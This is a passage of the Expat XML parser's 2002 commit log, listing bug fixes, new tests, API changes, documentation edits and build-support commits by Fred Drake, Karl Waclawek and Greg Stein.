Fred L. Drake, Jr. fde0571cc0 Small elaboration of what the new API needs to support. 2002-09-04 17:06:06 +00:00
Fred L. Drake, Jr. 5d080f104a Add HTML version of the roadmap document currently in development. 2002-09-04 15:47:40 +00:00
Fred L. Drake, Jr. f314b5a595 Abstract some of the styling information out of the individual documents. 2002-09-04 15:46:35 +00:00
Karl Waclawek aa6a61475b Included "invalid" test cases, to check if the parser reports them
as well-formed without errors.
2002-09-04 03:04:44 +00:00
Fred L. Drake, Jr. 8875cf76db Update to Karl's version of this script, and use the latest version of
the tests from the W3C.
2002-09-03 23:19:30 +00:00
Karl Waclawek c6160c2aee Added some comments regarding previous fix (bug #602729). 2002-08-31 02:27:20 +00:00
Karl Waclawek fb523d10cc Fix bug reported by Rolf Ade:
CR at end of buffer in epilog causes memory access violation.
2002-08-30 23:22:20 +00:00
Fred L. Drake, Jr. 8ebc3a260e New test: demonstrate segfault in epilogProcessor(). Karl has a fix
for this that he'll check in shortly.
2002-08-30 22:05:55 +00:00
Fred L. Drake, Jr. 75796f52a4 Added information on the expat-checkins list. 2002-08-29 18:23:42 +00:00
Fred L. Drake, Jr. 2d231bffbb Update links to the mailing lists. 2002-08-29 18:13:36 +00:00
Fred L. Drake, Jr. 8ab3f3ee92 Make these well-formed XHTML. 2002-08-29 18:07:03 +00:00
Karl Waclawek 1dfb9e1aa6 Added default handler fix. 2002-08-29 18:06:31 +00:00
Fred L. Drake, Jr. 1511fbf505 At least make this well-formed XHTML. 2002-08-29 18:00:51 +00:00
Fred L. Drake, Jr. 8b72d99dbf Tabs are evil; remove them. 2002-08-29 16:48:01 +00:00
Fred L. Drake, Jr. fc50f773e9 Document the special build considerations for building from a CVS
checkout instead of a packaged source distribution.
2002-08-29 16:46:59 +00:00
Fred L. Drake, Jr. ee96d299e7 Fixed indentation, added period. 2002-08-29 16:25:12 +00:00
Karl Waclawek 6c2d89cf39 Added static library build support under VC++ 2002-08-29 16:17:09 +00:00
Fred L. Drake, Jr. fcfed06b51 Consistently use "Expat" when refering to the Expat software.
Other minor clarifications.
2002-08-29 15:57:08 +00:00
Fred L. Drake, Jr. a759c51ca1 The strings returned as part of the XML_Feature structure should be of type
XML_LChar*, not XML_Char*.
2002-08-29 15:29:52 +00:00
Fred L. Drake, Jr. e5cf509115 Revise the XML_GetFeatureList() function signature so that we maintain the
behavior that all strings returned from Expat are affected by the XML_UNICODE
and XML_UNICODE_WCHAR_T feature-test macros, and ensure that an application
that needs to determine what type of character data is returned can do so
with reasonable ease.
2002-08-29 04:54:04 +00:00
Fred L. Drake, Jr. d9be20e8f0 Make the arg to XML_ErrorString() an XML_Error value. Compatible
since enums are binary compatible with ints.
2002-08-27 22:58:25 +00:00
Fred L. Drake, Jr. 325d6f339f Define XML_Error enum before referencing it.
Make the arg to XML_ErrorString() an XML_Error value.  Compatible
since enums are binary compatible with ints.
2002-08-27 22:57:59 +00:00
Fred L. Drake, Jr. a3e77face0 Added more updates; mostly the list of misc. bugs that have been
fixed.
2002-08-27 22:42:52 +00:00
Fred L. Drake, Jr. 4b5958655b Added & elaborated some comments about the structures maintained to
store tag information.
2002-08-27 21:55:19 +00:00
Fred L. Drake, Jr. 66aecf83ca Comments should be sentences, and sentences should be capitalized and
end with punctuation.
2002-08-27 21:09:14 +00:00
Karl Waclawek c4e09cdb41 Applied patch #600964: Element name storage optimization 2002-08-27 20:45:27 +00:00
Karl Waclawek 9067726f25 The previous fix should also be applied to XML_ParserReset. 2002-08-27 20:32:41 +00:00
Fred L. Drake, Jr. 5ca422d4dd Initialize the pools that are part of the parser structure before
letting them get cleared.  Reported by Tim Crook.
2002-08-27 20:24:19 +00:00
Fred L. Drake, Jr. 1330c4c02f Added regression test.
Closes SF bug #600479.
2002-08-27 17:06:19 +00:00
Fred L. Drake, Jr. 6643dbce7b Start a section for the next release. 2002-08-27 16:14:35 +00:00
Fred L. Drake, Jr. 21fe34d006 asParser(): Removed unused function only defined in debug mode in
MSVC.

Remove annoying blank line.
2002-08-27 16:09:40 +00:00
Fred L. Drake, Jr. 233230ce89 One consequence of using an incomplete struct to define XML_Parser is
that compilers can be more picky about type compatibility.  Tighten up
the function signatures to reduce spurious warnings.
2002-08-27 05:49:52 +00:00
Karl Waclawek 969d3363fe Fix for bug #600479: error decoding UTF-8 triplet 2002-08-27 00:28:48 +00:00
Fred L. Drake, Jr. 19dce96507 Fix a broken error message about the XML declaration.
Closes SF bug #596555.
2002-08-26 21:22:35 +00:00
Fred L. Drake, Jr. fd28011aa5 Documented XML_ParserReset().
Made function signatures use a trailing semi-colon consistently.
2002-08-26 20:37:49 +00:00
Fred L. Drake, Jr. d0ce0b3b0b Substantially reduce the amount of indentation used in the table of
contents.

Added documentation for XML_UseForeignDTD().
2002-08-26 19:55:22 +00:00
Fred L. Drake, Jr. d4f7009363 Change XML_Parser definition to use an incomplete structure in the public
API, allowing the implementation to define the structure and use less
casting in internal macros.

Change XML_UseForeignDTD() to return an enum XML_Error value, to allow
specific conditions to be reported more clearly.
2002-08-26 19:54:24 +00:00
Karl Waclawek 46feda26da Small documentation fix for default handler. 2002-08-26 17:57:38 +00:00
Fred L. Drake, Jr. 7f88e00a8e Fix XHTML well-formedness and validity. 2002-08-26 17:27:29 +00:00
Fred L. Drake, Jr. ce60dcf034 showVersion(): Use the new XML_GetFeatureList() function to list the
compile-time features as part of the "xmlwf -v"
                output.
2002-08-26 17:20:48 +00:00
Fred L. Drake, Jr. bb761420b6 XML_GetFeatureList(): New API function. 2002-08-26 17:19:41 +00:00
Fred L. Drake, Jr. cf8591548a Update the link to the mailing lists. 2002-08-26 15:08:48 +00:00
Karl Waclawek 4e5aedecfa Applied patch #599715: Enable undeclared DTD 2002-08-26 15:04:19 +00:00
Karl Waclawek 65c96007fe Removed DllMain function for Windows Dll.
Not needed, since we don't intialize antything, and it gets in
the way when building a static Expat library that is used by a Dll.
2002-08-26 01:33:56 +00:00
Fred L. Drake, Jr. a37a37af7f Add test for well-formedness constraint: No Recursion. 2002-08-24 19:53:59 +00:00
Fred L. Drake, Jr. 66e88141e0 Minor changes for consistency. 2002-08-23 22:21:09 +00:00
Fred L. Drake, Jr. ed0cbdbd05 Wrap some long lines; the AS/400 requires line length <= 80
characters.
2002-08-23 21:54:11 +00:00
Fred L. Drake, Jr. 5b85b08976 Update the "clean" target to match the current arrangement. 2002-08-23 21:53:29 +00:00
Fred L. Drake, Jr. 1ef2370e61 It doesn't look like this has been used in a long time; we might be
able to get rid of it.

- Arranged function & method signatures like they are elsewhere in the
  sources.
- Shortened some long lines.
- #include expat.h instead of xmlparse.h.
2002-08-23 21:47:52 +00:00
Fred L. Drake, Jr. 705efa1f25 Add a test that we do report an undefined entity if there is an
external subset and we load it.
2002-08-23 19:45:44 +00:00
Karl Waclawek d6a47ae1e6 Applied patch #598944: Static library builds for VC++ 2002-08-23 15:04:52 +00:00
Fred L. Drake, Jr. 93a409f6f6 Factor out some error reporting code used when the parser is expected
to report an error, and either doesn't report an error at all or
reports the wrong error.
2002-08-23 03:35:40 +00:00
Fred L. Drake, Jr. 80cac4a780 Renamed the last test added to be more clear about the condition being
tested.

Added a couple of additional tests checking for proper response to the
same well-formedness constraint.  No bugs to fix there, just trying to
improve the coverage of the test suite.
2002-08-23 03:14:01 +00:00
Fred L. Drake, Jr. 6143619cf2 Elaborate a comment slightly. 2002-08-22 21:58:11 +00:00
Fred L. Drake, Jr. 4b551b1b96 showVersion(): Only check for \ in the path on Windows, the same as
in tmain().
2002-08-22 21:55:25 +00:00
Fred L. Drake, Jr. 803bc07fa7 Add a test case for the improper reporting of a failure of the "Entity
Declared" WFC fixed in lib/xmlparse.c 1.65.
2002-08-22 21:41:05 +00:00
Fred L. Drake, Jr. 9f99125a39 Preliminary version number increment. 2002-08-22 21:32:39 +00:00
Karl Waclawek fa7b20a32a Fix for WFC: Entity Declared handling:
Expat would return an "undefined entity" error for the document:
<!DOCTYPE doc SYSTEM "foo">
<doc>&entity;</doc>
if the DTD was not read.
2002-08-22 21:24:10 +00:00
Fred L. Drake, Jr. 1297454350 Added some minor markup, plus many more internal hyperlinks. 2002-08-22 21:08:43 +00:00
Karl Waclawek f90c9ae324 Applied patch #598352: Patch for defaultHandler in DTD. 2002-08-22 14:52:44 +00:00
Fred L. Drake, Jr. 5db0d6708d Reduce the maximum line with to 80 (including the newline character).
This should make the AS/400 port easier to maintain.
2002-08-22 13:58:48 +00:00
Fred L. Drake, Jr. 63cb50611f Suppress a warning from GCC that moveToFreeBindingList() had no
prototype, by making it static.
2002-08-22 03:54:17 +00:00
Karl Waclawek c2f6f06d91 Added more detail about the unknownEncodingHandler. 2002-08-22 00:06:51 +00:00
Karl Waclawek de7c8418bb Applied patch for bug #596931: XML_ParseReset and memory leaks. 2002-08-21 20:00:09 +00:00
Karl Waclawek f5f615c931 Fixed typo. 2002-08-11 01:36:05 +00:00
Fred L. Drake, Jr. 88701bc30f Fix well-formedness, broken in the previous checkin. 2002-08-08 22:21:06 +00:00
Fred L. Drake, Jr. 1908fd3dbd Added documentation on how Expat deals with XML versions other than
1.0, and shows how an application can affect it.
Closes SF bug #584041.
2002-08-08 22:17:28 +00:00
Fred L. Drake, Jr. 86803b4c89 Specify XHTML 1.0 Strict, conform, and add the "Valid XHTML 1.0" icon.
Rip out a lot of the extra layers of <div/> and <a/> elements.
2002-08-08 21:51:31 +00:00
Fred L. Drake, Jr. 60b31ae5e7 Add the "Valid XHTML 1.0" icon. 2002-08-08 21:51:01 +00:00
Fred L. Drake, Jr. aef65d4ec3 Lots of really minor changes:
- Wrap paragraphs more consistently.
- Make this well-formed XML.
- When making a hyperlink to a function description, consistently
  place the anchor inside the code, not the other way around.
- Make more references to function names hyperlinks to the
  descriptions.
- Fix a few small typos.
- Don't always use an extra div to carry a class attribute, just stick
  it on the pre.
2002-08-08 20:41:43 +00:00
Fred L. Drake, Jr. 3d198c888e Style cleanup. 2002-08-08 20:37:11 +00:00
Fred L. Drake, Jr. 81f729ae08 Document XML_DefaultCurrent().
Update the documentation on XML_SetDefaultHandler() and
XML_SetDefaultHandlerExpand().

Closes SF bug #585537.
2002-08-08 19:29:08 +00:00
Fred L. Drake, Jr. 63f624a708 Update the API documentation with the use of XML_Status for the
XML_Parse() and XML_ParseBuffer() functions.
2002-08-08 18:54:15 +00:00
Fred L. Drake, Jr. d836d20cbb Define specific return values for the XML_Parse*() functions, and use them
to test all XML_Parse*() return values in the test and sample code.
This is binary-compatible with previous Expat 1.95.x releases.

dtdInit():  Make this a void function, since there is only one possible
    return value.

parserInit(), poolGrow(), setContext():  Make these return XML_Bool values,
    to match their intended semantics.

XML_ParseBuffer():  Use NULL instead of 0 for a pointer value.
2002-08-02 19:44:09 +00:00
Fred L. Drake, Jr. e573251a94 Define specific return values for the XML_Parse*() functions, and use them
to test all XML_Parse*() return values in the test and sample code.
This is binary-compatible with previous Expat 1.95.x releases.
2002-08-02 19:40:09 +00:00
Fred L. Drake, Jr. f9777c9428 doProlog(): Use NULL instead of 0 to clear pointer variables.
getContext():  The needSep local is Boolean, so declare & set it that
way.
2002-08-01 05:42:57 +00:00
Fred L. Drake, Jr. 4f4ed4952d Caught some more Boolean fields in the internals. 2002-07-31 22:41:48 +00:00
Fred L. Drake, Jr. 502c611b6e Use the new Boolean definitions internally. 2002-07-31 22:11:50 +00:00
Fred L. Drake, Jr. 56ba3dc676 Add definitions to support Boolean values in the Expat API. 2002-07-31 22:10:42 +00:00
Karl Waclawek f54c938123 Applied patch for bug #434664: utf8_toutf16 infinite loop. 2002-07-29 01:05:11 +00:00
Karl Waclawek f944d41397 Added documentation to prevent the misunderstanding that led
to bug #580503: user called parsing functions recursively.
2002-07-27 23:13:16 +00:00
Karl Waclawek 34fbc4a88f Fixes to make it work with make & the free BCC32 command line compiler:
- enabled long command arguments with the "-l" option in makefile.mak
- removed an erroneous linker option from elements.mak
2002-07-27 17:50:45 +00:00
Karl Waclawek 3f78776e80 Applied patch # 581069 2002-07-27 16:21:39 +00:00
Karl Waclawek 6285ef5296 Applied patch # 581069 2002-07-27 16:13:51 +00:00
Fred L. Drake, Jr. 092a369ad2 When creating a tarball from the HEAD instead of a release tag, use
the date to generate the filename instead of the Expat version
number.  This makes sense since the resulting tarball does not
represent a versioned release.
2002-07-25 15:21:06 +00:00
Fred L. Drake, Jr. 93deea5e26 Shorten all lines longer than 80 characters to be shorter than 80.
Required for OS/400 support.
2002-07-25 14:51:19 +00:00
Fred L. Drake, Jr. 71ca0cbb08 Add a whine about the C preprocessor abuse used in this file.
Wrap most of the longer lines so fit in less than 80 columns (required
for OS/400 support).
2002-07-25 14:47:45 +00:00
Fred L. Drake, Jr. 3167cb2a06 Remove cruftiness. 2002-07-24 01:20:18 +00:00
Fred L. Drake, Jr. 83271c5dbf make_basic_suite(): Simplify the organization of the test cases into
just two groups: "basic" (no namespaces) and "namespace".

Rename one test function so it's name makes more sense, and is
shorter.
2002-07-22 17:49:17 +00:00
Fred L. Drake, Jr. 632b20c24f Added regression test for SF bug #584832, adapted from contributed
test.
2002-07-22 17:15:48 +00:00
Karl Waclawek 8d051e9409 Fix for bug #584832: incorrect handling of internal entities.
The wrong string pool was cleared.
2002-07-22 13:32:37 +00:00
Karl Waclawek d8d3b5fe2e Applied patch for bug #584183: crash in builds without DTD support 2002-07-20 13:31:06 +00:00
Fred L. Drake, Jr. f44e4a0b87 Fixup whitespace. 2002-07-15 19:57:34 +00:00
Fred L. Drake, Jr. c89080e4c9 Add news for the 1.95.4 release. 2002-07-12 18:39:32 +00:00
Fred L. Drake, Jr. c3d1828990 Change the "next release" to 1.95.5. 2002-07-12 18:38:06 +00:00
Fred L. Drake, Jr. 8c9556f8b6 Present signature lines for function declarations much more
consistently.
2002-07-12 16:24:33 +00:00
Fred L. Drake, Jr. 22f9b46259 More nullification: use "return NULL" instead of "return 0" for
functions that return pointer types.

Wrap some long lines.

Captalize the first sentences of some comments, etc.
2002-07-12 16:07:28 +00:00
Fred L. Drake, Jr. 8e4bcc645c We're building Expat, not subversion. Appearantly a cut-n-pasto. 2002-07-12 15:49:33 +00:00
Fred L. Drake, Jr. 04507aa326 xmlwf/readfilemap.c is not used on Windows. 2002-07-12 15:07:30 +00:00
Fred L. Drake, Jr. 95b26fb994 Capitalize "Expat" consistently. 2002-07-12 05:21:23 +00:00
Fred L. Drake, Jr. 50b7b52735 Change the Borland support files so that the DLLs are named libexpat.dll and
libexpatw.dll, as they are for MSVC.
Since I do not have a Borland build environment, I hope I have not botched
this change!
2002-07-12 05:17:26 +00:00
Fred L. Drake, Jr. 252e868b7e Add a note about the Borland compiler support files.
Move the second column of the table right a couple of spaces to
there's space for the long directory name on the left.
2002-07-12 05:06:17 +00:00
Fred L. Drake, Jr. 21f26c8ab6 Add a note about the addition of Borland support files.
Include a couple of additional bug reports that have been dealt with.
2002-07-12 02:52:42 +00:00
Fred L. Drake, Jr. ebf74d70e6 Add the Borland support files to the installer. 2002-07-12 02:51:56 +00:00
Fred L. Drake, Jr. 15c3eac10c Support files for Borland C++ Builder 5 / BCC 5.5.
Contributed by Patrick McConnell.
Closes SF patch #538032.
2002-07-12 02:46:22 +00:00
Fred L. Drake, Jr. db6d64a473 Update lists of ignored files to match changes from Makefile.in 1.37. 2002-07-11 18:55:43 +00:00
Fred L. Drake, Jr. 06f03f92da Fix installation when building from outside the source directory.
Closes SF patch #566901.
2002-07-11 18:54:42 +00:00
Karl Waclawek 51be5c3e5d Added documentation for new skipped entity handler. 2002-07-11 03:35:42 +00:00
Fred L. Drake, Jr. 437481121a Add a couple more fixed bugs to the list. 2002-07-09 21:28:44 +00:00
Karl Waclawek 775b55c2dc Added to list of changes for 1.95.4. 2002-07-09 21:19:24 +00:00
Fred L. Drake, Jr. 098497fb5f Add a test for SF bug #478332.
If I understand the report correctly, I can't reproduce the bug using
the CVS version of Expat.
2002-07-09 21:17:45 +00:00
Karl Waclawek cc6d031e9e Applied modified version of patch #578161. 2002-07-09 20:58:17 +00:00
Fred L. Drake, Jr. c5ba987deb Marked the de-tabification task complete. 2002-07-09 20:55:07 +00:00
Fred L. Drake, Jr. e43a5bc447 De-tabify. 2002-07-09 20:50:04 +00:00
Fred L. Drake, Jr. ed31b195ae Bump version number & de-tabify. 2002-07-09 20:49:47 +00:00
Fred L. Drake, Jr. 37d4e4a382 A variety of code-style changes:
- Use only plain spaces, no hard tabs.
- Strip trailing whitespace from all lines.
- Strip blank line from the end of the file.
- Do no use a space following the ! operator.
- Wrap a couple of long lines.
2002-07-09 20:25:10 +00:00
Fred L. Drake, Jr. a1864edc2e Add a list of bugs fixed for 1.95.4 so far.
Set a target release date.
2002-07-09 18:37:32 +00:00
Karl Waclawek cb8a4c756d Fix for bug #579196. 2002-07-09 18:29:23 +00:00
Fred L. Drake, Jr. 8c14959eac Fix typo from manual application of the Mac OS classic patch. 2002-07-09 13:57:18 +00:00
Fred L. Drake, Jr. 72f20a6169 Added note about Mac OS classic support. 2002-07-08 17:10:38 +00:00
Fred L. Drake, Jr. 704c849461 Mac OS (classic) support, based on patches from Thomas Wegner and
Daryle Walker.

Also moved some #include statements around and removed a VMS-specific #include
that duplicates an existing #include.
2002-07-08 17:08:45 +00:00
Fred L. Drake, Jr. 501a5b3525 Mac OS (classic) support, based on patches from Thomas Wegner and
Daryle Walker.
2002-07-08 17:06:55 +00:00
Fred L. Drake, Jr. 16bede7d27 Add link to the next set of release requirements as well. 2002-07-08 16:03:16 +00:00
Fred L. Drake, Jr. fcf37d1b51 Release requirements for 1.95.5. 2002-07-08 16:02:22 +00:00
Fred L. Drake, Jr. 04d63e117a Remove the need to use <p> to add space between list items. 2002-07-08 15:34:04 +00:00
Fred L. Drake, Jr. 69256a68d3 Add some useful links to CVS documentation. 2002-07-08 15:33:20 +00:00
Fred L. Drake, Jr. 44e81e9a07 Clean up some markup. 2002-07-08 15:32:51 +00:00
Karl Waclawek 85f8130aaf Added COMPILED_FROM_DSP flag to make it compile under VC++. 2002-07-04 14:06:15 +00:00
Fred L. Drake, Jr. 63ca4b129f Minor consistency nit. 2002-07-01 20:44:54 +00:00
Karl Waclawek 16a73a2273 Modified fix for bug # 575168 to correct behaviour when endElementHandler
was set after startElementHandler was called.
2002-07-01 16:54:52 +00:00
Fred L. Drake, Jr. 7fea03e40e De-tabify; minor code-style consistency changes. 2002-07-01 16:46:08 +00:00
Fred L. Drake, Jr. d74ad1f819 De-tabify; minor code-style consistency changes.
Removed function that was commented out using "#if 0"; not referenced.
2002-07-01 16:45:37 +00:00
Fred L. Drake, Jr. fb09975079 De-tabify files that missed the de-tabify step. 2002-07-01 15:18:34 +00:00
Fred L. Drake, Jr. 65ab1317a4 De-tabify; minor code-style consistency changes. 2002-07-01 15:13:02 +00:00
Fred L. Drake, Jr. 35482bdf4c De-tabify; minor code-style consistency changes. 2002-07-01 14:51:16 +00:00
Fred L. Drake, Jr. 2c06092697 De-tabify; minor code-style consistency changes. 2002-07-01 14:45:51 +00:00
Fred L. Drake, Jr. 2594a4e358 Delay the Unix build-process changes since we really need to get a
bugfix release out.
2002-06-29 15:26:38 +00:00
Fred L. Drake, Jr. 33e691a73f Update for the 1.95.4 release. 2002-06-29 15:24:30 +00:00
Fred L. Drake, Jr. 4582daec8f Fix SF bug #575168: "Missing events for end-element". 2002-06-28 23:04:49 +00:00
Fred L. Drake, Jr. 7f509f86ef Add regression tests for SF bug #566334:
"Default namespace => wrong element names"
2002-06-28 14:20:07 +00:00
Fred L. Drake, Jr. dee184faec Delayed the InternalEntityRefHandler feature. 2002-06-28 13:40:20 +00:00
Fred L. Drake, Jr. c74d7bca16 Add a regression test that might tickle SF bug #422239. See comments
for more information.
2002-06-28 13:35:44 +00:00
Fred L. Drake, Jr. d6deca76f7 Change CVS link to the local version of the instructions for using the
Expat CVS repository.
2002-06-28 04:03:36 +00:00
Fred L. Drake, Jr. b669c22a92 Add a link to the ViewCVS repository browser. 2002-06-28 04:02:45 +00:00
Fred L. Drake, Jr. 84d5e47da2 Mark one more of the release requirements as done. 2002-06-26 13:04:04 +00:00
Fred L. Drake, Jr. 65f345c7a8 Add a link to the Expat4D product (Expat plug-in for 4th Dimension). 2002-06-26 12:54:32 +00:00
Fred L. Drake, Jr. 11b0eea411 Add the "replace-tabs-with-spaces" release requirement, as discussed
on the lists.
2002-06-19 02:26:04 +00:00
Fred L. Drake, Jr. 7d78123b69 Version number needs to be bumped here as well. 2002-06-14 14:28:12 +00:00
Fred L. Drake, Jr. cfe63634e2 Stupid punctuation nit: use a period at the end of a sentence! ;-) 2002-06-14 14:13:30 +00:00
Fred L. Drake, Jr. 7cde2afa07 Mark the SkippedEntityHandler item "done". 2002-06-14 14:11:56 +00:00
Fred L. Drake, Jr. 48eb436842 Simplify the content table style, with no visual difference.
(Possibly better supported by browsers.)
2002-06-13 20:44:20 +00:00
Fred L. Drake, Jr. 2c9da60e48 Add some information about tracker usage, including both recommendations and
just useful information that is not always well known, but should be.
2002-06-13 20:41:24 +00:00
Fred L. Drake, Jr. 87693df9a0 Added some style for tables in the content area. 2002-06-13 20:40:09 +00:00
Fred L. Drake, Jr. 4e45d6db5a Add a section on CVS access, since we can't change the CVS info on
SourceForge to use the shorter hostnames.
This adds information on the specific modules checked into CVS.
2002-06-13 18:34:14 +00:00
Fred L. Drake, Jr. 17fc960ec4 Consistently use the shorter libexpat.org URL. 2002-06-13 18:12:20 +00:00
Karl Waclawek a118a740f2 Applied patch # 567035 (endElementHandler fix) and
patch # 567400 (cdataSectionProcessor fix)
2002-06-13 12:52:39 +00:00
Fred L. Drake, Jr. 8fbcd0a5c7 Include unistd.h when HAVE_UNISTD_H is defined, not _POSIX_SOURCE.
This requires that expat_config.h or winconfig.h has been included.
Using unistd.h avoids warnings about close() and read() not being defined
on some platforms.
This closes SF bug #563184.
2002-06-13 02:52:09 +00:00
Fred L. Drake, Jr. e5577d615f Update the DLL version numbering since the API has expanded in a
backward-compatible way.
2002-06-12 19:46:53 +00:00
Fred L. Drake, Jr. 449599e363 There've been patches since 1.95.3, so bump the version number. 2002-06-12 19:43:51 +00:00
Fred L. Drake, Jr. fc8e89e58f Added a link to the EasySoap project. 2002-06-11 19:34:39 +00:00
Karl Waclawek c8d098f364 Fix for bug # 566240. 2002-06-09 14:01:47 +00:00
Karl Waclawek c245489390 Applied patch # 565510 - "reading uninitialized variable". 2002-06-09 13:55:37 +00:00
Karl Waclawek b825301fc1 Applied patch # 559910 - New SkippedEntityHandler 2002-06-09 00:01:43 +00:00
Fred L. Drake, Jr. 295725c655 Started section for 1.95.4, noting the contributed VMS support. 2002-06-05 04:16:29 +00:00
Fred L. Drake, Jr. c457dfb346 VMS support, contributed by Craig Berry. 2002-06-05 04:13:10 +00:00
Fred L. Drake, Jr. 5e17fb9437 Include subdirectories on the webserver. 2002-06-05 04:02:19 +00:00
Fred L. Drake, Jr. 2640c1cb7f Fix the page title. 2002-06-05 04:01:38 +00:00
Fred L. Drake, Jr. 0ab12d2306 Oops, this was not ready for checkin. 2002-06-05 04:01:10 +00:00
Fred L. Drake, Jr. 3ab9455870 Fix style buglet. 2002-06-05 03:56:04 +00:00
Fred L. Drake, Jr. fc9e8beb2b Add a link to the new development area of the website. 2002-06-05 03:52:21 +00:00
Fred L. Drake, Jr. f7f2408071 Start off the new development information area with release requirements
for Expat 1.95.4.
2002-06-05 03:49:50 +00:00
Fred L. Drake, Jr. d5648187f0 Update link to the project home page. 2002-06-04 16:35:21 +00:00
Fred L. Drake, Jr. 89151b7496 Fix editorial type noticed by Greg Stein (& introduced by me, of
course!).
2002-06-04 14:23:28 +00:00
Fred L. Drake, Jr. cb9a560dc8 Elaborated on the news description a little. 2002-06-04 05:12:42 +00:00
Fred L. Drake, Jr. 0424f55fed Add news item about the 1.95.3 release. 2002-06-04 04:52:09 +00:00
Fred L. Drake, Jr. b0719a7560 Fix link to the GOBO-Eiffel project, added a missing word in the
description.
2002-06-03 19:56:29 +00:00
Fred L. Drake, Jr. 2ef1e84e1f Be more specific with a couple of the files that we install.
I'm still not sure where the manpage gets compressed, but it certainly
does; leaving off the .gz causes the RPM build to not find the file.
2002-06-03 19:38:13 +00:00
Fred L. Drake, Jr. 35c224f1ad Add Karl's instructions for building the UTF-16 version on Unix. 2002-06-03 18:46:36 +00:00
Fred L. Drake, Jr. 0c406cce19 Split the install and uninstall targets into library and non-library
components, creating the new targets installlib and uninstalllib.
2002-06-03 18:16:07 +00:00
Greg Stein ab3bcbaa6c Add real checks for autoconf 2.52 and libtool 1.4 so that we can
produce "nice" errors if they are not present.
2002-06-01 22:55:22 +00:00
Greg Stein 733fc33825 conftools/libtool.m4 is generated by buildconf.sh, so make sure that
it gets tossed during 'extraclean'
2002-06-01 22:35:28 +00:00
Greg Stein 72ced69405 Work on fixing bug #462960
* add Apache's version of config.guess and config.sub, which are both
  recent, and have some helpful mods

* buildconf.sh: tweak call to libtoolize to avoid overwriting the above

* conftools/.cvsignore: the new files are supposed to be there

* Makefile.in: tweak to use $(prefix) for the manual page so that it
  picks up install-time prefix changes. tossed an old comment. tweak
  the 'extraclean' rule to avoid tossing the added config.* files.
2002-06-01 22:29:30 +00:00
Fred L. Drake, Jr. 6f7d95c4af Specify the compression type; the current version of Inno Setup
supports the more efficient bzip algorithm, so we can produce a
smaller installer to download.  Or at least partially mitigate
the addition of the wchar_t version of the DLLs.

Install the Changes file as Changes.txt.

Add a note telling what version of Inno Setup the script is for.
2002-06-01 02:12:30 +00:00
Fred L. Drake, Jr. 7b7923521c Bump the version number of the shared library according to the libtool
recommendations.
2002-05-31 21:31:12 +00:00
Fred L. Drake, Jr. 0b267aff2a Added a couple more interesting items that had been lurking in the
forgotten NEWS file.
Set an expected date for the 1.95.3 release.
2002-05-31 20:42:18 +00:00
Fred L. Drake, Jr. 76e37fc385 Remove NEWS since this information is already being provided in Changes. 2002-05-31 20:33:05 +00:00
Fred L. Drake, Jr. 189c91cfea Added a note about the Eiffel bindings. 2002-05-31 16:33:53 +00:00
Fred L. Drake, Jr. cad79377e7 Factor out the definition of the directory the manual page is
installed into; hopefully this will fix the RPM construction.
2002-05-31 15:51:21 +00:00
Fred L. Drake, Jr. 6bbbeffb0d Add test suite to the distribution. 2002-05-31 15:15:18 +00:00
Fred L. Drake, Jr. 75dac7502c Add the recent additions to the doc/ directory. doc/xmlwf.1 is needed
for the install step on Unix.
2002-05-31 15:03:34 +00:00
Fred L. Drake, Jr. 1ba67f251f Updated MANIFEST to reflect changes in the conftools directory. 2002-05-31 14:49:22 +00:00
Fred L. Drake, Jr. 8eb92dde2b Added the test suite and wchar_t versions of the DLL. 2002-05-31 04:35:57 +00:00
Fred L. Drake, Jr. 1debeebe2e Link to SF's own mail archiver rather than GeoCrawler. 2002-05-31 04:00:59 +00:00
Fred L. Drake, Jr. ccac97847c Add section for Expat 1.95.3. Added blank lines for readability. 2002-05-31 03:45:50 +00:00
Fred L. Drake, Jr. a3dda2bb32 Added new project to the MSVC workspace: expatw. This builds
libexpatw.dll (in release and debug versions) using wchar_t
output.

This *probably* closes SF bug #432456.  See comments in the
issue tracker for more info.
2002-05-31 03:12:47 +00:00
Fred L. Drake, Jr. 5dec038664 Renamed the Expat DLLs from "expat.dll" to "libexpat.dll". This solves
a real naming conflict with Perl's XML::Parser::Expat module and the
relatively recent 1.95.x naming of the combined Expat DLL.

This does not introduce new names for the "wide" version of the Expat
API; this will be a separate change.

See SF bug #432456.
2002-05-31 02:30:31 +00:00
Fred L. Drake, Jr. a44cf20237 Simple makefile that remembers how to update the anonymous checkout of
the HTML docs that gets shoved out through HTTP.
2002-05-30 19:03:07 +00:00
Karl Waclawek b1743f5705 Applied patch # 562005 "Detect invalid UTF-8 sequences" 2002-05-30 18:02:59 +00:00
Fred L. Drake, Jr. 993db8ea97 Give in and define a constant for the intial number of elements in the
content type scaffold.
This removes the annoying magic number in the code.
2002-05-23 18:50:51 +00:00
Fred L. Drake, Jr. de9db5ddeb In the "DTD scaffold", keep the count of elements allocated in sync with the
number of elements.
2002-05-23 18:37:03 +00:00
Fred L. Drake, Jr. 6f4869b2a4 Share the comment style with the rest of Expat. 2002-05-22 20:22:25 +00:00
Fred L. Drake, Jr. 219908bec6 Add a small comment to tell what this is. 2002-05-22 20:20:05 +00:00
Fred L. Drake, Jr. 37cbb951f8 Code hygiene: Use "NULL" instead of "0" for NULL pointers.
Compare pointers == NULL or != NULL instead of using the implicit
point-to-int conversion.
2002-05-22 04:27:06 +00:00
Fred L. Drake, Jr. 0bd69962db Bring indentation consistency to the header comments. 2002-05-22 04:04:39 +00:00
Fred L. Drake, Jr. 6197055826 Fix the regression test for SF bug #477667. This now fails, but accurately
tests the reported bug.
It should also serve as increased motivation for me to get it fixed
before the next release.
2002-05-22 03:27:17 +00:00
Fred L. Drake, Jr. f122dd821c Remove the use of C99's stdbool.h and the bool type; not all compilers
support this (gcc 2.8.1 on IRIX 6.5 bit this time).
2002-05-21 21:39:18 +00:00
Fred L. Drake, Jr. 12445b1efd Another link to C++ wrappers, this time with a SAX interface and multiple
parser backends.
2002-05-21 14:45:18 +00:00
Greg Stein 5b5355d8c5 Hard to believe, but there are some preprocessors/compilers out there
which don't like spaces between the '#' and the preprocessor command.

* expat.h, xmlparse.c, xmlrole.c, xmltok.c:
  - remove all spaces between the '#' and the cpp command.
2002-05-20 11:06:41 +00:00
Greg Stein 2186041a07 Karl noticed that Expat didn't build on Windows any more. winconfig.h
needs to state that memmove() exists.
2002-05-20 11:01:29 +00:00
Karl Waclawek 8a891572a0 Merged in patch # 551599 2002-05-18 03:34:44 +00:00
Greg Stein 04d54677dc Add some cygwin fixes.
* Makefile.in:
  - from cygwin: add -no-undefined to the library link line

* conftools/get-version.sh: (new file)
